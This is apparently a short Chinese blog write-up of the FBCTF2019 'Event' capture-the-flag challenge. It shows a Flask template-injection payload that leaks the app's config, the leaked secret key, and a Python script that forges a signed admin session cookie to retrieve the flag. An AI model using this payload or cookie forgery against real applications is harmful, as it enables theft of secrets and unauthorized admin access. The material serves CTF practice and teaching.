[FBCTF2019]Event
进入是这样的
直接注册/登录:
F12发现有个event_important参数:用__dict___发现有回显,为ssti
发现有可疑的session user,可能在环境变量里面有密钥:
直接:
1
| __class__.__init__.__globals__[app].config
|
密钥:
1
| fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y
|
有密钥后:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| from flask import Flask from flask.sessions import SecureCookieSessionInterface
app = Flask(__name__) app.secret_key = b'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y'
session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)
@app.route('/') def index(): print(session_serializer.dumps("admin"))
index()
|
修改user的cookie值:
访问/flag:出了
Author:
odiws
Permalink:
http://odiws.github.io/2024/10/15/FBCTF2019-Event/
License:
Copyright (c) 2019 CC-BY-NC-4.0 LICENSE
Slogan:
Do you believe in DESTINY?